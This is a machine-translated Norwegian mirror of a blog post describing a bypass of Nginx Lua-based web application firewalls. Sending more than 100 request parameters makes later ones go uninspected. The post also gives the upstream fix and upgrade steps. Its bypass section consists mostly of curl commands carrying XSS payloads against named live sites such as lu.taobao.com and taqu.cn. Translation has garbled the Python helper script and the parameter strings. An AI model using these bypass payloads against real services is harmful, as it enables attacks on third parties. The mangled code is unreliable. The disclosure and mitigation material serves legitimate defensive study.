Denne artikkelen er en speilartikkel om maskinoversettelse, vennligst klikk her for å hoppe til originalartikkelen.

Utsikt: 16994|Svare: 1

[Sikkerhetssårbarhet] Nginx Luas WAF-applikasjonsbrannmur-sårbarhet

[Kopier lenke]
Publisert på 27.04.2018 09:23:29 | | | |
Når ginx Lua får parametere, oppnås de første 100 parameterverdiene som standard, og resten forkastes.
Derfor vil WAF-er som bruker Nginx Lua bli omgått som standard.
Den 20. og 18. april hadde noen på sikkerhetspassasjeren allerede oppgitt denne detaljen, så jeg publiserte også denne artikkel 233.



Prinsipp

Den offisielle beskrivelsen er som følger

Merk at maksimalt 100 forespørselsargumenter blir parset som standard (inkludert de med samme navn), og at ytterligere forespørselsargumenter forkastes stille for å beskytte mot potensielle argumenter Tjenestenektangrep.

Opptil 100 forespørselsparametere (inkludert de med samme navn) kan tolkes som standard, og ytterligere forespørselsparametere fjernes automatisk for å forhindre potensielle tjenestenektangrep.

Søk 100, omtrent den følgende metoden har samme problem.
ngx.req.get_uri_args Henter forespørselsparametrene for get
ngx.req.get_post_args Få forespørselsparametrene for innlegget
ngx.req.get_headers Hent forespørselsheaderen
ngx.decode_args Dekode URL-en til parameterne
ngx.resp.get_headers Få svarheaderen
I kildekoden til lua-nginx-modulen kan vi se at kildekoden setter standard maksimal forespørselsparameter og overskrift til 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Den offisielle tilbyr imidlertid en metode for å endre standardverdien, for eksempel ngx.req.get_uri_args (200) for å få de første 200 forespørselsparameterne.

Prøve

Hvis forespørselsparameteren er 101, kan ikke den siste forespørselsparameteren oppnås.

Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Hvis du reduserer én forespørselsparameter, kan du få den siste forespørselsparameteren når forespørselsparameterne er nøyaktig 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
A: ZBG
Jeg har deg, zbg

Merk at standard faktisk er 100 forespørselsparametere, og forespørselsparameterne etter 100 forespørslingsparametere vil bli forkastet.

Det er merkelig at i returinnholdet ovenfor, midt i den grove posisjonen, er den endelige zbg-parameteren allerede utdata. Mitt gjetning er at utdataene ikke er i rekkefølge, men rekkefølgen parsingen er i følger rekkefølgen parameterne sendes inn i, fordi når den 101. parameterverdien er zbg, kan ikke verdien oppnås.

Vedlagt er python-skriptet som genererer parameterne:

# forfatter: zbg
# post:zbg@zbg.org
# dato: 2018-04-03

a = ''
For I i området (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Trykk a
reparasjon
Selvfølgelig anbefales det ikke å endre MAX-verdien til parameteren i kildekoden. For uansett hvor stor verdien du setter, kan den omgås. Det anbefales å sette den gjennom metodens parametere.
Hvis du kan hente lengden på forespørselsparameteren og bruke en metode som ngx.req.get_uri_args (lenth), ville det ikke være nok?
Da jeg leste dokumentasjonen, fant jeg ut at antallet forespurte parametere ikke kunne oppnås. Men hvis du setter lenth til 0, kan du få alle de forespurte parameterne.

Dette argumentet kan settes til null for å fjerne grensen og for å behandle alle mottatte forespørselsargumenter.
Lokale ARGS = ngx.req.get_uri_args(0)

Det frarådes imidlertid sterkt å sette den til 0 for å forhindre potensielle tjenestenektangrep.

Det frarådes sterkt å fjerne max_args-lokket.

Egentlig lurte jeg på hvorfor det å sette 0 skulle føre til et potensielt tjenestenektangrep, og at forespørselen uansett ville gå til nginx, uansett hvor mange parametere det var i get eller post.

Jeg tok opp et problem med den offisielle personen, og forfatteren sa at ngx.req.get_uri_args (0) vil øke CPU- og minnebruket på serveren. Senere testet jeg 200 parametere, og brukte Nginx+php for å få den 200. parameteren, noe som betyr at Nginx ikke begrenser antall forespurte parametere som standard. Da kan problemet ligge i Nginx Lua selv,Når Nginx Lua bruker ngx.req.get_uri_args(0) for å hente alle parameterne og itererer gjennom dem, bruker det mer CPU og minne når det er mange parametere etterspurt, og fører til slutt til en tjenestenekt

Den 03.04.2018 tok Bypass007 offisielt opp et PROBLEM med denne feilrettingen, og la endelig offisielt til en ny funksjon basert på dette PROBLEMET den 21. april 2018. Committ-postadressen til denne funksjonen: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Funksjonsbeskrivelsen er som følger: I versjoner etter v0.10.13 (inkludert v0.10.13), når grensen for antall forespørsler brytes, er den andre returverdien den trunkerte strengen.
Siden v0.10.13, når grensen overskrides, vil den returnere en andre verdi som er strengen "trunkert".
Det valgfrie argumentet max_args funksjon kan imidlertid brukes til å overstyre denne grensen:
Lokale ARG-er, ERR = ngx.req.get_uri_args(10)
hvis err == "avkortet" så
     -- kan man velge å ignorere eller avvise den nåværende forespørselen her
slutt

Så, den endelige løsningen kom ut.

Oppgrader lua-nginx-modulen til v0.10.13 eller nyere

Så begrens det totale antallet parametere, og for hvor mye det totale antallet er begrenset, mener jeg personlig at 100 er nok

OpenResty oppgraderer lua-nginx-modulmodulen

Jeg fant ingen informasjon om OpenResty-oppgraderingsmodulen, så jeg fant ut hvordan jeg kunne oppgradere lua-nginx-modulen selv.

Stegene er som følger:

Last ned den tilsvarende versjonen av lua-nginx-modulmodulen
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
pakke ut
tar -zxvf v0.10.13
Slett den forrige lua-nginx-modul-versjonen
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopier den nye lua-nginx-modulen
MV lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
For kompilering, se kompilasjonsparametrene til VeryNginx


Case bypass

Det bør presiseres at jeg ikke er sikker på om jeg skal bruke Nginx Lua på de følgende WAF-ene, men de kan omgås med det totale antallet parametere.

Ali WAF

Denne WAF er en WAF som brukes internt av Alibaba, det vil si WAF brukt av domenenavn som *.taobao.com, og har ikke blitt testet for sky-WAF solgt av Alibaba Cloud.
Først, be om en POST XSS-nyttelast for å avskjære den.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Gjennom Fuzz ble det funnet at når antallet parametere økes til 478 med XSS Payload, blir den ikke lenger avlyttet, og nettstedet kan nås normalt.
Curl -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&a22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a1111=111=1112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131=131&a132=132&a133=133=134& A135=135&A136=136&A137=137&A138=138&A139=139&A140=140&A141=141&A142=142&A143=143&A144=144=144=145&A146=146&A147=147&A148=148&A149=149&A150=150&A151=151=151&A152=152&A153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166=166&a167=167&a168=168&a169=169&a170=170&a171=171& A172=172&A173=173&A174=174&A175=175&A176=176&A177=177&A178=178&A179=179&A180=180&A181=181&A182=182&A183=183&A184=184&A185=185&A186=186&A187=187&A188=188&A189=189=189&A190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& A209=209&A210=210&A211=211&A212=212&A213=213&A214=214&A215=215&A216=216&A217=217&A218=218&A219=219&A220=20&A221=21&A2222=222=222=23&A224=24&A225=25&A226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& A320=320&A321=321&A322=322&A323=323&A324=324&A325=325&A326=326&A327=327&A328=328&A329=329&A330=330&A331=331&A332=332&A333=333&A334=34&A335=35&A336=336&A337=37&A338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355=356=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&A372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444=445=45&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464=465=465&a466=466=467=467& A468=468&A469=469&A470=470&A471=471&A472=472&A473=473&A474=474&A475=475&A476=476&A477=477&a=<Img SRC=X onerror=alert(/xss/)>' lu.taobao.com

UCloud

WAF-en som testes er en WAF solgt av UCloud.
Når forespørselsparameteren økes til 138, vil den ikke lenger bli blokkert og nettsiden vil bli aksessert som normalt.
curl -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&a22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a1111=111=1112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131=131&a132=132&a133=133=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Denne WAF er en WAF som brukes internt av Tencent, altså WAF som brukes av domenenavn som *.qq.com, og har ikke blitt testet for sky-WAF solgt av Tencent Cloud.
Når forespørselsparameteren øker til 4000, vil den ikke lenger være blokkert, og nettstedet vil bli brukt som normalt. Tilfeldige tester av følgende domener påvirkes.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

sammendrag

Dette spørsmålet er veldig enkelt, og du kan finne det ved å lese dokumentet nøye. Men hvorfor fant jeg det ikke ut? Jeg synes fortsatt det er for lite tenking.
Referanse
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Foregående:Lær Photoshop fra bunnen av, 18 leksjoner fra nybegynner til gud
Neste:Styrker og svakheter til Lua og Luajit
Ansvarsfraskrivelse:
All programvare, programmeringsmateriell eller artikler publisert av Code Farmer Network er kun for lærings- og forskningsformål; Innholdet ovenfor skal ikke brukes til kommersielle eller ulovlige formål, ellers skal brukerne bære alle konsekvenser. Informasjonen på dette nettstedet kommer fra Internett, og opphavsrettstvister har ingenting med dette nettstedet å gjøre. Du må fullstendig slette innholdet ovenfor fra datamaskinen din innen 24 timer etter nedlasting. Hvis du liker programmet, vennligst støtt ekte programvare, kjøp registrering, og få bedre ekte tjenester. Hvis det foreligger noen krenkelse, vennligst kontakt oss på e-post.

Mail To:help@itsvse.com